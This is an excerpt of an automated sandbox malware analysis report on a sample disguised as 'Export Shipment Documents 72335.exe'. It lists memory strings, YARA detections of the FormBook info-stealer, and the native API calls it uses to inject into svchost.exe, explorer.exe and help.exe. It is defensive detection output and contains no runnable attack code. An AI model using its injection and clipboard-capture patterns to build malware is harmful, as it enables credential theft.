          Source: explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/news/11-things-you-should-not-do-in-retirement/vi-AA1hH9Jz
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/personalfinance/the-big-3-mistakes-financial-advisors-say-that-the-1
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-al
          Source: explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/judge-erupts-at-trump-s-lawyers-for-wasting-time-with-ridicu
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/sports/other/predicting-what-the-pac-12-would-look-like-after-expansion-wi
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/sports/other/washington-state-ad-asks-ncaa-for-compassion-and-understandin
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/first-map-of-earth-s-lost-continent-has-been-published/
          Source: explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winter
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/stop-planting-new-forests-scientists-say/ar-AA1hFI09
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com:443/en-us/feed
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00459FFF
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,0_2_00456354
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_0047C08E

          E-Banking Fraud

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.Export Shipment Documents 72335.exe.1680000.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.Export Shipment Documents 72335.exe.1680000.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1500557511.0000000003670000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.1445854829.0000000001680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2698343206.0000000002490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2705537393.0000000002B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1500520804.0000000003640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1499670028.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0.2.Export Shipment Documents 72335.exe.1680000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0.2.Export Shipment Documents 72335.exe.1680000.1.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0.2.Export Shipment Documents 72335.exe.1680000.1.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0.2.Export Shipment Documents 72335.exe.1680000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0.2.Export Shipment Documents 72335.exe.1680000.1.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0.2.Export Shipment Documents 72335.exe.1680000.1.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000D.00000002.2736322839.000000000D654000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d Author: unknown
          Source: 00000002.00000002.1500557511.0000000003670000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000002.00000002.1500557511.0000000003670000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000002.00000002.1500557511.0000000003670000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000000.00000002.1445854829.0000000001680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000000.00000002.1445854829.0000000001680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000000.00000002.1445854829.0000000001680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000004.00000002.2698343206.0000000002490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000004.00000002.2698343206.0000000002490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000004.00000002.2698343206.0000000002490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000003.00000002.2325642731.0000000010D87000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d Author: unknown
          Source: 00000004.00000002.2705537393.0000000002B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000004.00000002.2705537393.0000000002B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000004.00000002.2705537393.0000000002B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000002.00000002.1500520804.0000000003640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000002.00000002.1500520804.0000000003640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000002.00000002.1500520804.0000000003640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000002.00000002.1499670028.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000002.00000002.1499670028.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000002.00000002.1499670028.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: Process Memory Space: Export Shipment Documents 72335.exe PID: 7404, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: svchost.exe PID: 7472, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: help.exe PID: 7516, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Initial sample is a PE file and has a suspicious name
          Source: initial sampleStatic PE information: Filename: Export Shipment Documents 72335.exe
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041A320 NtCreateFile,2_2_0041A320
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041A3D0 NtReadFile,2_2_0041A3D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041A450 NtClose,2_2_0041A450
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041A500 NtAllocateVirtualMemory,2_2_0041A500
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041A3CB NtReadFile,2_2_0041A3CB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041A4FA NtAllocateVirtualMemory,2_2_0041A4FA
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872BF0 NtAllocateVirtualMemory,LdrInitializeThunk,2_2_03872BF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872B60 NtClose,LdrInitializeThunk,2_2_03872B60
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872AD0 NtReadFile,LdrInitializeThunk,2_2_03872AD0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872F90 NtProtectVirtualMemory,LdrInitializeThunk,2_2_03872F90
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872FB0 NtResumeThread,LdrInitializeThunk,2_2_03872FB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872FE0 NtCreateFile,LdrInitializeThunk,2_2_03872FE0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872F30 NtCreateSection,LdrInitializeThunk,2_2_03872F30
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872E80 NtReadVirtualMemory,LdrInitializeThunk,2_2_03872E80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,2_2_03872EA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872DD0 NtDelayExecution,LdrInitializeThunk,2_2_03872DD0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872DF0 NtQuerySystemInformation,LdrInitializeThunk,2_2_03872DF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872D10 NtMapViewOfSection,LdrInitializeThunk,2_2_03872D10
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872D30 NtUnmapViewOfSection,LdrInitializeThunk,2_2_03872D30
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872CA0 NtQueryInformationToken,LdrInitializeThunk,2_2_03872CA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872C70 NtFreeVirtualMemory,LdrInitializeThunk,2_2_03872C70
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03874340 NtSetContextThread,2_2_03874340
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03874650 NtSuspendThread,2_2_03874650
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872B80 NtQueryInformationFile,2_2_03872B80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872BA0 NtEnumerateValueKey,2_2_03872BA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872BE0 NtQueryValueKey,2_2_03872BE0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872AB0 NtWaitForSingleObject,2_2_03872AB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872AF0 NtWriteFile,2_2_03872AF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872FA0 NtQuerySection,2_2_03872FA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872F60 NtCreateProcessEx,2_2_03872F60
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872EE0 NtQueueApcThread,2_2_03872EE0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872E30 NtWriteVirtualMemory,2_2_03872E30
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872DB0 NtEnumerateKey,2_2_03872DB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872D00 NtSetInformationFile,2_2_03872D00
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872CC0 NtQueryVirtualMemory,2_2_03872CC0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872CF0 NtOpenProcess,2_2_03872CF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872C00 NtQueryInformationProcess,2_2_03872C00
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872C60 NtCreateKey,2_2_03872C60
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03873090 NtSetValueKey,2_2_03873090
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03873010 NtOpenDirectoryObject,2_2_03873010
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038735C0 NtCreateMutant,2_2_038735C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038739B0 NtGetContextThread,2_2_038739B0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03873D10 NtOpenProcessToken,2_2_03873D10
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03873D70 NtOpenThread,2_2_03873D70
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037AA036 NtQueryInformationProcess,NtSuspendThread,NtSetContextThread,NtQueueApcThread,NtResumeThread,NtClose,2_2_037AA036
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037AA042 NtQueryInformationProcess,2_2_037AA042
          Source: C:\Windows\explorer.exeCode function: 3_2_10D70E12 NtProtectVirtualMemory,3_2_10D70E12
          Source: C:\Windows\explorer.exeCode function: 3_2_10D6F232 NtCreateFile,3_2_10D6F232
          Source: C:\Windows\explorer.exeCode function: 3_2_10D70E0A NtProtectVirtualMemory,3_2_10D70E0A
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2AD0 NtReadFile,LdrInitializeThunk,4_2_02DD2AD0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,4_2_02DD2BF0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2BE0 NtQueryValueKey,LdrInitializeThunk,4_2_02DD2BE0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2B60 NtClose,LdrInitializeThunk,4_2_02DD2B60
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,4_2_02DD2EA0
